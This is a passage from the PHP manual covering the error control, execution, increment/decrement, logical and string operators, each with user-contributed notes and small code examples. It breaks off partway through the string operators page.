It is far better to test for the condition that you know will cause an error before preceding to run the code. This way only the error that you know about will be suppressed and not all future errors associated with that piece of code.

There may be a good reason for using outright error suppression in favor of the method I have suggested, however in the many years I've spent programming web apps I've yet to come across a situation where it was a good solution. The examples given on this manual page are certainly not situations where the error control operator should be used.
taras dot dot dot di at gmail dot com 12-Aug-2008 08:29
I was confused as to what the @ symbol actually does, and after a few experiments have concluded the following:

* the error handler that is set gets called regardless of what level the error reporting is set on, or whether the statement is preceeded with @

* it is up to the error handler to impart some meaning on the different error levels. You could make your custom error handler echo all errors, even if error reporting is set to NONE.

* so what does the @ operator do? It temporarily sets the error reporting level to 0 for that line. If that line triggers an error, the error handler will still be called, but it will be called with an error level of 0

Hope this helps someone
beatngu 27-May-2008 02:29
NB The @ operator doesn't work when throwing errors as exceptions using the ErrorException class
nospam at blog dot fileville dot net 03-Jan-2007 11:58
If you want to log all the error messages for a php script from a session you can use something like this:
<?php
 session_start();
  function error($error, $return=FALSE) {
      global $php_errormsg;
      if(isset($_SESSION['php_errors'])) {
        $_SESSION['php_errors'] = array();
    }
  $_SESSION['php_errors'][] = $error; // Maybe use $php_errormsg
  if($return == TRUE) {
    $message = "";
       foreach($_SESSION['php_errors'] as $php_error) {
          $messages .= $php_error."\n";
     }
    return $messages; // Or you can use use $_SESSION['php_errors']
  }
}
?>
Hope this helps someone...
12-Dec-2006 05:52
error_reporting()==0 for detecting the @ error suppression assumes that you did not set the error level to 0 in the first place.

However, typically if you want to set your own error handler, you would set the error_reporting to 0. Therefore, an alternative to detect the @ error suppression is required.
programming at kennebel dot com 13-Oct-2006 06:38
To suppress errors for a new class/object:

<?php
// Tested: PHP 5.1.2 ~ 2006-10-13

// Typical Example
$var = @some_function();

// Class/Object Example
$var = @new some_class();

// Does NOT Work!
//$var = new @some_class(); // syntax error
?>

I found this most useful when connecting to a
database, where i wanted to control the errors
and warnings displayed to the client, while still
using the class style of access.
me at hesterc dot fsnet dot co dot uk 03-Mar-2005 08:25
If you wish to display some text when an error occurs, echo doesn't work. Use print instead. This is explained on the following link 'What is the difference between echo and print?':

http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

It says "print can be used as part of a more complex expression where echo cannot".

Also, you can add multiple code to the result when an error occurs by separating each line with "and". Here is an example:

<?php
$my_file = @file ('non_existent_file') or print 'File not found.' and $string = ' Honest!' and print $string and $fp = fopen ('error_log.txt', 'wb+') and fwrite($fp, $string) and fclose($fp);
?>

A shame you can't use curly brackets above to enclose multiple lines of code, like you can with an if statement or a loop. It could make for a single long line of code. You could always call a function instead.
frogger at netsurf dot de 26-Dec-2004 08:19
Better use the function trigger_error() (http://de.php.net/manual/en/function.trigger-error.php)
to display defined notices, warnings and errors than check the error level your self. this lets you write messages to logfiles if defined in the php.ini, output
messages in dependency to the error_reporting() level and suppress output using the @-sign.
Comparison Operators
Execution Operators
Operators


Execution Operators

PHP supports one execution operator: backticks (``). Note that these are not single-quotes! PHP will attempt to execute the contents of the backticks as a shell command; the output will be returned (i.e., it won't simply be dumped to output; it can be assigned to a variable). Use of the backtick operator is identical to shell_exec().

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

Note:

The backtick operator is disabled when safe mode is enabled or shell_exec() is disabled.

Note:

Unlike some other languages, backticks cannot be used within double-quoted strings.

See also the manual section on Program Execution functions, popen() proc_open(), and Using PHP from the commandline.

User Contributed Notes

joseph dot bruni at gmail dot com 12-Jan-2011 03:41
If you have problems with the buffer size for the return result, use the popen() command instead. This will allow you to do file I/O on the result without any buffer limits.
robert 01-Mar-2006 11:25
Just a general usage note.  I had a very difficult time solving a problem with my script, when I accidentally put one of these backticks at the beginning of a line, like so:

[lots of code]
`    $URL = "blah...";
[more code]

Since the backtick is right above the tab key, I probably just fat-fingered it while indenting the code.

What made this so hard to find, was that PHP reported a parse error about 50 or so lines *below* the line containing the backtick.  (There were no other backticks anywhere in my code.)  And the error message was rather cryptic:

Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /blah.php on line 446

Just something to file away in case you're pulling your hair out trying to find an error that "isn't there."
cs at kainaw dot com 29-Dec-2005 02:55
After much trouble, I have concluded that the backtick operator (and shell_exec) have a limited buffer for the return.  My problem was that I was grepping a file with over 500,000 lines, receiving a response with well over 100,000 lines.  After a short pause, I was flooded with errors from grep about the pipe being closed.

I have searched, but I cannot find the exact size of the buffer used by the backtick operator and shell_exec.  So, to avoid this error, you must limit the output of your commands (such as using -m with grep).  Through trial and error, you can get the command to run without error.
shakil dot tanvir at gmail dot com 22-Dec-2005 05:25
For passing parameter to a executable doesn't need an executable. Also it may create problem specifically for CGI Bin aplicatioin. Have a look at the following code:

<?php

$parFile="param.txt";
$parImage="mohona.gif";

$output=`C:\ms4w\Apache\cgi-bin\owtchart.exe $parFile $parImage`;
echo "<pre>$output</pre>";

?>

In the above code "owtchart.exe" takes two parameters. One is a text file(param.txt) and another is a name of a GIF file where output will be created. It works fine and doesn't need any BAT file!
vdboor at codingdomain dot com 23-Nov-2005 12:10
Note that most OS-es define two channels for file-output, the stdout and stderr (standard out and standard error). To read the data sent to stderr too, include 2>&1 in the backticks.
aaron dot bentley at utoronto dot ca 20-Jul-2003 04:45
waylanator's example can be dangerous, since it doesn't prevent characters with special meaning from being emitted to the commandline.  Programming errors or untrusted data could cause serious problems.  At the bare minimum, remove all non-alphanumeric characters before passing a string to the shell.  escapeshellarg() is also useful in *nix environments, but usually the best approach is to bypass the shell, using exec() etc.
thierry_bo at php dot net 23-May-2003 10:45
About the french page and french keyboards : backtick is on the 7 key (7 è `), not the english pound key (£ $ ¤).
dexter at ragehosting dot net 27-Mar-2003 11:18
Or just %* (i think) to pass ALL variables specified
waylanator no at spam hotmail dot com 14-Feb-2003 12:03
Want to pass a parameter with your batch file to the executable?
Just do this:

mybat.bat:
__________
@echo off
c:\progra~1\myprog~1\program.exe %1
__________

php:
__________
<?php
$par= "my_parameter";
$test=`c:\mybat.bat $par`;
echo "<pre>$test</pre>";
?>
__________

Have more than 1 parameter?  Just add %2 %3 %4 and so on in the batch file.

Hope this helps someone.
waylanator no at spam hotmail dot com 14-Feb-2003 09:12
In Windows it appears you can only call an executable file that resides in the system path which is defined by Windows.  As a workaround you can place a batch file in the system path that calls the program from it's dir. Just make sure to use short MS-DOS file and dir names.
For example:
If you were calling the file c:\program files\my program\program.exe do this:

mybat.bat look like this:
_________
@echo off
c:\progra~1\myprog~1\program.exe
_________

Save mybat.bat in c:\ or c:\windows or any other dir in the system path as defined by windows.

Then in php call the batch file:
_________
<?php
$test = `c:\mybat.bat`;
echo "<pre>$test</pre>";
?>
_________

That should do it.
Of course this will only work for a program you can run from the MS-DOS command prompt, but (as I understant it) that goes for any executable you call with PHP anyway.
Tested in Win98 running Apache 1.3.27 and PHP 4.3.0
reed-NO at SPAM-zerohour dot net 13-Mar-2002 12:45
When a program is run using backticks, and the user cancels page loading (if your program is taking too long!), the shell running the program (the one in the backticks) may continue indefinitely on the server. I do not know if this is a bug, or just a danger of using this feature.  (It may depend on the way the browser "cancels" the request -- it was a problem on both IE and OmniWeb for the Mac).  Beware!
Error Control Operators
Incrementing/Decrementing Operators
Operators


Incrementing/Decrementing Operators

PHP supports C-style pre- and post-increment and decrement operators.

Note: The increment/decrement operators do not affect boolean values. Decrementing NULL values has no effect too, but incrementing them results in 1.

Increment/decrement Operators
Example | Name | Effect
++$a | Pre-increment | Increments $a by one, then returns $a.
$a++ | Post-increment | Returns $a, then increments $a by one.
--$a | Pre-decrement | Decrements $a by one, then returns $a.
$a-- | Post-decrement | Returns $a, then decrements $a by one.

Here's a simple example script:

<?php
echo "<h3>Postincrement</h3>";
$a = 5;
echo "Should be 5: " . $a++ . "<br />\n";
echo "Should be 6: " . $a . "<br />\n";

echo "<h3>Preincrement</h3>";
$a = 5;
echo "Should be 6: " . ++$a . "<br />\n";
echo "Should be 6: " . $a . "<br />\n";

echo "<h3>Postdecrement</h3>";
$a = 5;
echo "Should be 5: " . $a-- . "<br />\n";
echo "Should be 4: " . $a . "<br />\n";

echo "<h3>Predecrement</h3>";
$a = 5;
echo "Should be 4: " . --$a . "<br />\n";
echo "Should be 4: " . $a . "<br />\n";
?>

PHP follows Perl's convention when dealing with arithmetic operations on character variables and not C's. For example, in PHP and Perl $a = 'Z'; $a++; turns $a into 'AA', while in C a = 'Z'; a++; turns a into '[' (ASCII value of 'Z' is 90, ASCII value of '[' is 91). Note that character variables can be incremented but not decremented and even so only plain ASCII characters (a-z and A-Z) are supported. Incrementing/decrementing other character variables has no effect, the original string is unchanged.

Example #1 Arithmetic Operations on Character Variables

<?php
$i = 'W';
for ($n=0; $n<6; $n++) {
    echo ++$i . "\n";
}
?>

The above example will output:

X
Y
Z
AA
AB
AC

Incrementing or decrementing booleans has no effect.

User Contributed Notes

johnnythan at nospam dot gmx dot com 22-Nov-2011 04:05
If you have a trailing zero and use the increment, the trailing zero will not remain. Was at least unexpected for me at first, although it's logical if you think about it.

<?php
$start = '01';
$start++;
print $start; //Outputs '2' not '02'
?>
Anonymous 03-Oct-2011 02:16
Notice the different output of the following two for-loops.

<?php
    for ($i='a'; $i<='y'; $i++) {
        echo "$i ";
    }
?>

This one will output the characters 'a' to 'y'.

<?php
    for ($i='a'; $i<='z'; $i++) {
        echo "$i ";
    }
?>

This second one will output the characters 'a' to 'z' AND after that the strings 'aa', ..., 'az', 'ba', ..., 'bz', 'ca', ... and so on to 'yz'.
Brad Proctor 06-Nov-2010 08:51
I ran some tests (on PHP 5.3.3) of my own and was surprised to find $i += 1 to be the fastest method of incrementing.  Here are the methods fastest to slowest:

$i += 1;
++$i;
$i++;
$i = $i + 1;
dsbeam at gmail dot com 31-Aug-2009 03:35
When using the ++ operator by itself on a variable, ++$var is faster than $var++ and uses slightly less memory (in my experiments).  It would seem like this could be optimized in the language during runtime (if $var++ is the only thing in the whole statement, it could be treated as ++$var).

I conducted many tests (I believe to be fair), and here's one of the results:

$i++ took 8.47515535355 seconds and 2360 bytes
++$i took 7.80081486702 seconds and 2160 bytes

Here's my code.  If anyone sees a bias in it, tell me.  I conducted it many times, each time going through a loop one million iterations and doing each test 10 - 15 times (10 - 15 million uses of the ++ operator).

<?php

ini_set( 'MAX_EXEC_TIME', 120 );
ob_start( );

$num_tests = 10;
$startFirst = $startSecond = $endFirst = $endSecond = $startFirstMemory = $endFirstMemory = $startSecondMemory = $endSecondMemory = $someVal = 0;
$times = array( '$i++' => array( 'time' => 0, 'memory' => 0 ), '++$i' => array( 'total' => 0, 'memory' => 0 ) );

for( $j = 0; $j < $num_tests; ++$j )
{
        for( $i = 0, $startFirstMemory = memory_get_usage( ), $startFirst = microtime( true ); $i < 10000000; $i++ ){ $someval = 2; }
        $endFirstMemory = memory_get_usage( );
        $endFirst = microtime( true );

        for( $i = 0, $startSecondMemory = memory_get_usage( ), $startSecond = microtime( true ); $i < 10000000; ++$i ){ $someval = 2; }
        $endSecondMemory = memory_get_usage( );
        $endSecond = microtime( true );

        $times[ '$i++' ][ $j ] = array( 'startTime' => $startFirst, 'endTime' => $endFirst, 'startMemory' => $startFirstMemory, 'endMemory' => $endFirstMemory );
        $times[ '++$i' ][ $j ] = array( 'startTime' => $startSecond, 'endTime' => $endSecond, 'startMemory' => $startSecondMemory, 'endMemory' => $endSecondMemory );
}

for( $i = 0; $i < $num_tests; ++$i )
{
        $times[ '$i++' ][ 'time' ] += ( $times[ '$i++' ][ $i ][ 'endTime' ] - $times[ '$i++' ][ $i ][ 'startTime' ] );
        $times[ '++$i' ][ 'time' ] += ( $times[ '++$i' ][ $i ][ 'endTime' ] - $times[ '++$i' ][ $i ][ 'startTime' ] );
        $times[ '$i++' ][ 'memory' ] += ( $times[ '$i++' ][ $i ][ 'endMemory' ] - $times[ '$i++' ][ $i ][ 'startMemory' ] );
        $times[ '++$i' ][ 'memory' ] += ( $times[ '++$i' ][ $i ][ 'endMemory' ] - $times[ '++$i' ][ $i ][ 'startMemory' ] );
}

echo 'There were ' . $num_tests . ' tests conducted, here\'s the totals<br /><br />
$i++ took ' . $times[ '$i++' ][ 'time' ] . ' seconds and ' . $times[ '$i++' ][ 'memory' ] . ' bytes<br />
++$i took ' . $times[ '++$i' ][ 'time' ] . ' seconds and ' . $times[ '++$i' ][ 'memory' ] . ' bytes';

ob_end_flush( );

?>

Try it yourself, ;)
sneskid at hotmail dot com 07-Aug-2009 03:49
(related to what "Are Pedersen" wrote)
With arrays it can lead to much confusion if your index variable is altered on the right side of the = sign, either with ++|-- or even when passed to a function by reference..
Consider these (PHP 5):
<?php
$A[$a] = ++$a; // [1]=1
$B[++$b] = ++$b; // [1]=2
$C[$c+=0] = ++$c; // [0]=1
?>
In 'A' you have to be aware that PHP evaluates $A[$a] last.
Yet in 'B' and 'C' PHP evaluates the index and saves it in a temporary variable.

You can always force PHP to evaluate a variable without explicitly storing it as a named variable first, with a simple "+=0" like in example 'C'.

Compared to 'A', 'C' gives the more logically expected result, when we expect evaluation occurs left to right.
PHP does evaluate left to right BUT it will attempt to cut down on temporary variables, which can lead to confusing results.

So just be aware and use either behavior to your advantage for the desired functionality.
pov at fingerprint dot fr 28-Mar-2008 12:15
In reply to Anonymous :

What is strange is that you didn't get an error : ++$var is an expression and can't therefore not be referenced.
Now, if you suppose an implicit assignment to an invisible variable, your code becomes :

<?php
 $var = 1;
 $plus_plus_var = ++$var;
 change($plus_plus_var);
 echo "var=$var";
?>

Written as such, change clearly acts on $plus_plus_var, not on $var. So PHP5 got right, and it's not a "strange behaviour", it's only a solved bug.

Anyway, it's always a bad idea to pass anything other than a variable as a by-reference parameter...
Anonymous 09-Jan-2008 03:17
Some strange behaviour between PHP 4 and 5.

Code :
<?php
 function change (&$var) {
   $var += 10;
 }

 $var = 1;
 ++$var;
 change($var);
 echo "var=$var";

 $var = 1;
 change(++$var);
 echo "var=$var";

?>

Output in PHP4
var=12
var=12

Output in PHP5
var=12
var=2
michal dot kocarek at NO_SPAM dot seznam dot cz 23-Sep-2007 03:04
Speed tip:

Do not use post-incrementation/post-decrementation ($i++, $i--) where you do not work with the result of this expression.
(For novices: Yes, every expression returns an result, also $a = '5' returns result, same as $a && $b. And this consumes more time and resources.)

When writing loops, replace the post-incrementation with pre-incrementation, it is around 3times faster than post-incrementation.

Why? In post-incrementation, PHP needs to copy variable value somewhere, then it increments the value, then returns the value which was stored before the incrementation was done. No matter if you don't expect the return value, PHP is scripting language, not compiled one, so it doesn't optimize use of return values.

<?php
// Good practice for loop:
$array_count = count($array); // Store temporarily instead of calling everytime in loop
for ($i = 0; $i < $max_count; ++$i) { // Use pre-incrementation here, it is faster
   // do something here
}
?>
rowan dot collins at gmail dot com 14-Jun-2007 07:34
As the manual says, decrementing NULL in this way yields NULL, although incrementing it yields 1, as you might expect. Can't quite see why this makes sense, but if you need to work around it, you can use '-= 1' instead:

<?php
$i = null;

--$i;
var_dump($i); // NULL
$i--;
var_dump($i); // NULL

$i-=1;
var_dump($i); // int(-1)
?>

Note that -= returns the value assigned, so treat it like '--$i', not '$i--' if you're testing the value.
Q1712 at online dot ms 20-Apr-2007 06:52
A more detailed explanation of the string incremant is:

First of all it is checked wether the string is a standart representaion of a number wich is true if it equals the regex /^ *[+-]?[0-9]*(\.[0-9]|[0-9]\.)[0-9]*([eE]?[+-]?[0-9]+)?$/
but not the regex /\+\./ (no idea why).
if it does, the type is changed to integer (if it equals /^ *[+-]?[0-9]+$/) or to float and then incremented by one.

An empty string becomes the string "1".

Otherwise if the last character is one of [0-8], [a-y] or [A-Y] it is incremented. If it is Z it puts it back to A, is z to a, if 9 to 0 and trys to do the same with the previouse character.
If a character is reatched that is not in [0-9a-zA-Z], nothing is done anymore (that's why " Z" will increment to " A").
If the begining is reached a new caracter is prepended. "1" "a" or "A" depending on wether the first character was "9", "z" or "Z".

If the last character was not [0-9a-zA-Z] the string isn't chaged.

hope this helps someone
Are Pedersen 28-Feb-2007 03:08
Something to think about:

$a=1;
$a  +=  $a++   +   ++$a;
echo $a;

will give you 7.

Why is this?

1. ++$a is first incremented. Now $a is 2.
$a += $a++  +  2
$a is 2

2. $a++ is added to 2 then $a is incremented
$a += 2 + 2
$a is 3

3. now the value of 2 + 2 is added to $a ($a is 3)
$a = $a + 2 + 2

Answer: 3 + 2 + 2 = 7
julien-bernie-laurent at polenord.com 01-Mar-2006 07:55
to thus trying to increment a string and are blocked by the exponential typecast explained in the message below, here is a small function :

function increment($var) {
    $var2 = '_'.$var;
    return substr(++$var2,1);
}
timo at frenay dot net 25-Aug-2004 08:45
JMcCarthy AT CitiStreet DOT com:

As for your March 31 post, at least in PHP version 4.3 this no longer holds for 'D'. Your point is still valid for 'e' or 'E' and worth noting.

Your comment from May 12 is simply not true, although it might be a bug in your specific version of PHP but that would seem very strange.

<?php
    $Align = array('a', 'b', 'c');
    $i = 0;
    echo $Align[$i++]; // Prints 'a', as expected
?>

It might be interesting to know that pre-/postincrement assumes a value of 0 for undefined variables, but pre-/postdecrement does not:

<?php
    echo var_dump(++$foo); // int(1)
    echo var_dump(--$bar); // NULL!
?>
31-Mar-2004 01:19
Note that incrementing strings can give unpredictable results due to type changes.  For example:

<?php

$i = '9C6';
for($n=0; $n<10; $n++)
  echo ++$i . "\n";

?>

Gives you:
 9C7
 9C8
 9C9
 9D0
 10
 11
 12
..etc.

The 'D' (and also 'E') characters are interpreted here as exponents of 10 (i.e., scientific notation) formatted numbers.  Using '9D6' will give 9000001, 9000002, etc.

You might want to use all alphabetical or all numerical, but not mix the two otherwise you may not get what you expect..
chris at free-source dot com 06-Feb-2004 04:11
Interesting performance note:

$i++ seems to be slightly slower than ++$i, when used on a line by itself the 2 have the same purpose.  It's not much, but over 100,000 incements the pre-increment is about .004 seconds faster on average.
mu at despammed dot net 14-Oct-2002 09:11
The exact moment when post-increment and post-decrement happen is _just immediately after the variable is evaluated_ (not "after the line is processed" or something like that)

Example 1:
$i = 2;
echo $i++ + $i;
Result: 5. The first i is evaluated as 2, gets incremented to 3. i is then evaluated as 3 for the second occurance.

Example 2:
$i = 2;
echo $i + $i++;
Result: 4. The first i is 2. Second i is 2 too, gets incremented afterwards.
cleong at letstalk dot com 17-Oct-2001 07:52
Note that the ++ and -- don't convert a boolean to an int. The following code will loop forever.

function a($start_index) {
for($i = $start_index; $i < 10; $i++) echo "\$i = $i\n";
}

a(false);

This behavior is, of course, very different from that in C. Had me pulling out my hair for a while.
fred at surleau dot com 18-Jul-2001 12:02
Other samples :
$l="A";      $l++; -> $l="B"
$l="A0";     $l++; -> $l="A1"
$l="A9";     $l++; -> $l="B0"
$l="Z99";    $l++; -> $l="AA00"
$l="5Z9";    $l++; -> $l="6A0"
$l="9Z9";    $l++; -> $l="10A0"
$l="9z9";    $l++; -> $l="10a0"
$l="J85410"; $l++; -> $l="J85411"
$l="J99999"; $l++; -> $l="K00000"
$l="K00000"; $l++; -> $l="K00001"
Execution Operators
Logical Operators
Operators


Logical Operators

Logical Operators
Example | Name | Result
$a and $b | And | TRUE if both $a and $b are TRUE.
$a or $b | Or | TRUE if either $a or $b is TRUE.
$a xor $b | Xor | TRUE if either $a or $b is TRUE, but not both.
! $a | Not | TRUE if $a is not TRUE.
$a && $b | And | TRUE if both $a and $b are TRUE.
$a || $b | Or | TRUE if either $a or $b is TRUE.

The reason for the two different variations of "and" and "or" operators is that they operate at different precedences. (See Operator Precedence.)

Example #1 Logical operators illustrated

<?php

// --------------------
// foo() will never get called as those operators are short-circuit

$a = (false && foo());
$b = (true  || foo());
$c = (false and foo());
$d = (true  or  foo());

// --------------------
// "||" has a greater precedence than "or"

// The result of the expression (false || true) is assigned to $e
// Acts like: ($e = (false || true))
$e = false || true;

// The constant false is assigned to $f and then true is ignored
// Acts like: (($f = false) or true)
$f = false or true;

var_dump($e, $f);

// --------------------
// "&&" has a greater precedence than "and"

// The result of the expression (true && false) is assigned to $g
// Acts like: ($g = (true && false))
$g = true && false;

// The constant true is assigned to $h and then false is ignored
// Acts like: (($h = true) and false)
$h = true and false;

var_dump($g, $h);
?>

The above example will output something similar to:

bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

brad at bradleyproctor dot com 25-Oct-2011 12:03
A handy way to set a variable using or

<?php
if ($foo) {
   $foo = 5;
}

// Can be replaced with
$foo or $foo = 5;

?>

I use this often for setting variables in functions with optional parameters.

<?php

function foobar($a = null, $b = null) {
   $a or $a = 10;
   $b or $b = 20;
   //...
}
ctulek at gmail dot com 18-Oct-2010 02:07
Try this...

$a = 0;
$b = 'G';
$c = false;
echo $a == $b ? "true\n" : "false\n";
echo $a == $c ? "true\n" : "false\n";
echo $c == $b ? "true\n" : "false\n";

Output:
true
true
false

Very dangerous...
Rob 23-Oct-2009 10:16
Another example that might help.

<?php
(isset($panelemail) && !empty($panelemail) ? $panelemail : $userdata['email']);
?>
returns the userdata email address, but this

<?php
(isset($panelemail) AND !empty($panelemail) ? $panelemail : $userdata['email']);
?>
returns false.

The reason is that the two types of ands have a different order of precedence.  "&&" is higher than "AND", and the "?:" operator just happens to come between the two.  Also, since "||" (or) is actually higher than "AND," you should never mix &&s and ||s with ANDs and ORs without paretheses.

For example:

<?php
     true && false || false
?>
returns false, but

<?php
     true AND false || false
?>
returns true.
daevid at daevid dot com 10-Aug-2009 06:33
If you ever need to alternate row colors for data output in a table, do this:

in your CSS put these two classes:
    .dataRow1 { background-color: #DFDFDF; }
    .dataRow2 { background-color: #FFFFFF; }

then in your PHP, loop over each row:

<?php
// ....
foreach ($foo_array as $foo) {
   ?><tr class="<?php echo ($dr = !$dr) ? "dataRow1" : "dataRow2"; ?>"><td><?php echo $foo
?></td></tr><?php
}
?>

No need to initialize $dr as by default PHP will make it a boolean "false", then each iteration, it will toggle true/false and substitute the CSS class
momrom at freenet dot de 19-Apr-2009 08:32
Evaluation of logical expressions is stopped as soon as the result is known.
If you don't want this, you can replace the and-operator by min() and the or-operator by max().

<?php
function a($x) { echo 'Expression '; return $x; }
function b($x) { echo 'is '; return $x; }
function c($x) { echo $x ? 'true.' : 'false.' ;}

c( a( false ) and b( true ) ); // Output: Expression false.
c( min( a( false ), b( true ) ) ); // Output: Expression is false.

c( a( true ) or b( true ) ); // Output: Expression true.
c( max( a( true ), b( true ) ) ); // Output: Expression is true.
?>

This way, values aren't automaticaly converted to boolean like it would be done when using and or or. Therefore, if you aren't sure the values are already boolean, you have to convert them 'by hand':

<?php
c( min( (bool) a( false ), (bool) b( true ) ) );
?>
sandaimespaceman at gmail dot com 11-Sep-2008 08:07
There's one userful way to use the or operator:

<?php
//If the connection was success, "Connected to database" will be shown.
//If the connection was failed, "Unable to connect" will be shown.(NOTE: The @ will hide error messages)
@mysql_connect("localhost", "root", "password") or die("Unable to connect");
echo "Connected to database";
?>

So you don't need to use if operators to add more lines.
jeffjeffleelee at hotmail dot com 06-Jul-2008 09:30
@zhustar:

I will verify the following:

<?php
$a = false xor true;
var_dump($a);  // bool(false)

$a = (false xor true);
var_dump($a);  // bool(true)
?>

At first I thought this was some egregious bug, and then I realized that this is merely an issue of operator precedence. English-word boolean operators have relatively low precedence--in fact they take place after assignment. So the first example assigns false to $a, and then does an xor operation on $a and boolean true.
loaded67 at hotmail dot com 12-Jun-2008 10:40
Someone ever noted that C type operators are applicable in php as well?
more like a (bool / boolean) cast...

See:

<?php
ini_set('display_errors', 1);
ini_set('error_reporting', 8191);// php5

$whatever = NULL;
$Iwaslike = 'WTF!';

if(!!($whatever)){
    echo '$whatever'.PHP_EOL;
}
if(!!($Iwaslike)){
    echo '$Iwaslike'.PHP_EOL;
}
if(!!!($whatever)){
    echo '$whatever'.PHP_EOL;
}
if(!!!($Iwaslike)){
    echo '$Iwaslike'.PHP_EOL;
}
?>
momrom at freenet dot de 12-Jun-2008 07:10
Some examples from the english manual that aren't avaiable in all languages:

Like in C, logical expressions are evaluated
from left to right until the result is known.
foo() will never get called in the following cases.
<?php
$a = (false && foo());
$b = (true  || foo());
$c = (false and foo());
$d = (true  or  foo());
?>

"||" has a greater precedence than "="
which has a greater one than "or"
<?php
// same as ($e = (false || true)),
// expression is true and $e ist assigned to true
$e = false || true;

// same as (($e = false) or true),
// expression is true but $e is assigned to false
$f = false or true;
?>

"&&" has a greater precedence than "="
which has a greater one than "and"
<?php
// same as ($e = (true || false)),
// expression is false and $e ist assigned to false
$g = true && false;

// same as (($e = true) and false),
// expression is false but $e is assigned to true
$h = true and false;
?>
Benjamin 29-Feb-2008 09:48
Re:Richard

I show $b printing 1 rather than "banana". Here's how I understand what's going on.

<?php
//"||" has a greater precedence than "or"

$a=0 or $a="avocado"; //evaluated as ($a=0) or ($a="avacado")
//Since $a=0 is false, $a="avocado" is evaluated and $a is assigned the string value "avocado".
echo "$a"; //prints "avocado"
var_dump ($a); // string(7) "avocado"

$b=0 || $b="banana"; // evaluated as $b = (0 || $b = "banana")
echo $b; //prints "1"
var_dump ($b); // bool(true)
?>
Richard 30-Jan-2008 06:22
Re Lawrence:

You sort of can do conditional evaluation:

$a=0 or $a="avocado";
echo "$a";                              #Prints "avocado"

But oddly:

$b=0 || $b="banana";
echo $b;                                 #Prints "banana"
zhustar at gmail dot com 17-Jan-2008 07:02
$a = false xor true;
var_dump($a);  // bool(false)

$a = (false xor true);
var_dump($a);  // bool(true)
pepesantillan at gmail dot com 23-Dec-2007 03:23
worth reading for people learning about php and programming: (adding extras <?php ?> to get highlighted code)

about the following example in this page manual:
Example#1 Logical operators illustrated

...
<?php
// "||" has a greater precedence than "or"
$e = false || true; // $e will be assigned to (false || true) which is true
$f = false or true; // $f will be assigned to false
var_dump($e, $f);

// "&&" has a greater precedence than "and"
$g = true && false; // $g will be assigned to (true && false) which is false
$h = true and false; // $h will be assigned to true
var_dump($g, $h);
?>
_______________________________________________end of my quote...

If necessary, I wanted to give further explanation on this and say that when we write:
$f = false or true; // $f will be assigned to false
the explanation:

"||" has a greater precedence than "or"

its true. But a more acurate one would be

"||" has greater precedence than "or" and than "=", whereas "or" doesnt have greater precedence than "=", so

<?php
$f = false or true;

//is like writting

($f = false ) or true;

//and

$e = false || true;

is the same as

$e = (false || true);

?>

same goes for "&&" and "AND".

If you find it hard to remember operators precedence you can always use parenthesys - "(" and ")". And even if you get to learn it remember that being a good programmer is not showing you can do code with fewer words. The point of being a good programmer is writting code that is easy to understand (comment your code when necessary!), easy to maintain and with high efficiency, among other things.
paranoiq at centrum dot cz 19-Nov-2007 08:00
and, or and xor can be used as conditional constructs:

<?php
// do_that() is executed only if do_this() returns false
if($something) do_this() or do_that();
// $b is assigned to $b, do_that() is executed if $b is false
if($something) $a = $b or do_that();

// do_that() is executed only if do_this() returns true
if($something) do_this() and do_that();
// $b is assigned to $b, do_that() is executed if $b is true
if($something) $a = $b and do_that();

// both do_that() and do_this() are executed..
if($something) do_this() xor do_that();
// .. so the behaviour is same as:
if($something) {
    do_this();
    do_that();
}
?>

for understanding what happens if $b is NULL or do_this() returns NULL, read the avbentem's comment on NULL type. generaly speaking, NULL is threated like false in most cases.
peter dot kutak at NOSPAM dot gmail dot com 01-Oct-2007 12:36
$test = true and false;     ---> $test === true
$test = (true and false);  ---> $test === false
$test = true && false;      ---> $test === false
Lawrence 28-Aug-2007 12:04
Note that PHP's boolean operators *always* return a boolean value... as opposed to other languages that return the value of the last evaluated expression.

For example:

$a = 0 || 'avacado';
print "A: $a\n";

will print:

A: 1

in PHP -- as opposed to printing "A: avacado" as it would in a language like Perl or JavaScript.

This means you can't use the '||' operator to set a default value:

$a = $fruit || 'apple';

instead, you have to use the '?:' operator:

$a = ($fruit ? $fruit : 'apple');
Andrew 13-Aug-2007 08:49
> <?php
> your_function() or return "whatever";
> ?>

doesn't work because return is not an expression, it's a statement. if return was a function it'd work fine. :/
looris at gmail dot com 17-Jun-2007 07:46
Please note that while you can do things like:
<?php
your_function() or die("horribly");
?>

you can't do:
<?php
your_function() or return "whatever";
?>
(it will give you a syntax error).
eduardofleury at uol dot com dot br 14-Jun-2007 06:16
;;;;;;;;;;;;;;;;;;;;;;;;;
; P1 P2; And; OR  ; XOR ;
;;;;;;;;;;;;;;;;;;;;;;;;;
; V  V ; V  ; V   ; F   ;
; V  F ; F  ; V   ; V   ;
; F  V ; F  ; V   ; V   ;
; F  F ; F  ; F   ; F   ;
;;;;;;;;;;;;;;;;;;;;;;;;;

<?php

$a = 2;
$b = 3;
$c = 6;

print !($a > $b && $b < $c);// true

print (($a > $b) and ($b < $c));// false

print ($a == $b or $b < $c); // true

print $a == $b || $b < $c; // true

$x = $a < $b; //$x = true

$y = $b === $c; //$y = false

print  $x xor $y; // true

?>
Incrementing/Decrementing Operators
String Operators
Operators


String Operators

There are two string operators. The first is the concatenation operator ('.'), which returns the concatenation of its right and left arguments. The second is the concatenating assignment operator ('.='), which appends the argument on the right side to the argument on the left side. Please read Assignment Operators for more information.

<?php
$a = "Hello ";
$b = $a . "World!"; // now $b contains "Hello World!"

$a = "Hello ";
$a .= "World!";     // now $a contains "Hello World!"
?>

See also the manual sections on the String type and String functions.

User Contributed Notes

hexidecimalgadget at hotmail dot com 09-Feb-2009 09:37
If you attempt to add numbers with a concatenation operator, your result will be the result of those numbers as strings.

<?php

echo "thr"."ee";           //prints the string "three"
echo "twe" . "lve";        //prints the string "twelve"
echo 1 . 2;                //prints the string "12"
echo 1.2;                  //prints the number 1.2
echo 1+2;                  //prints the number 3

?>
mariusads::at::helpedia.com 27-Aug-2008 02:44
Be careful so that you don't type "." instead of ";" at the end of a line.

It took me more than 30 minutes to debug a long script because of something like this:

<?
echo 'a'.
$c = 'x';
echo 'b';
echo 'c';
?>

The output is "axbc", because of the dot on the first line.
mehea 19-May-2008 05:31
